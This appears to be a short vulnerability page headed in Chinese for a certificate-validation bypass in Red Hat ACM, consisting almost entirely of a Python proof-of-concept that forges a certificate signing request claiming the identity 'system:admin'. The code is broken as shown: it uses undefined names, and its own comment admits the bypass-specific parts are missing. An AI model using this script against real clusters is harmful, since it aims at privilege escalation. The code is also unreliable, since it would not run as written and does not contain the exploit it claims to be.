CVE-2026-4740 Red Hat ACM证书验证绕过漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-4740: Forged CSR generation # This script demonstrates how a managed cluster admin might generate a malicious CSR. from cryptography import x509 from cryptography.x509.oid import NameOID from cryptography.hazmat.primitives import hashes from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives.asymmetric import rsa import datetime def generate_malicious_csr(): # Generate a private key key = rsa.generate_private_key( public_exponent=65537, key_size=2048, backend=default_backend() ) # Create a CSR with specific subjects to exploit validation flaw subject = x509.Name([ x509.NameAttribute(NameOID.COMMON_NAME, "system:admin"), x509.NameAttribute(NameOID.ORGANIZATION_NAME, "attackers"), ]) # Note: In a real exploit, specific extensions or OIDs would be added # to bypass the specific OCM validation logic. csr = x509.CertificateSigningRequestBuilder().subject_name(subject).sign(key, hashes.SHA256(), default_backend()) print("[+] Malicious CSR Generated:") print(csr.public_bytes(Encoding.PEM).decode()) print("[+] Private Key Generated (Keep Secret):") print(key.private_bytes(Encoding.PEM, PrivateFormat.TraditionalOpenSSL, NoEncryption()).decode()) if __name__ == "__main__": generate_malicious_csr()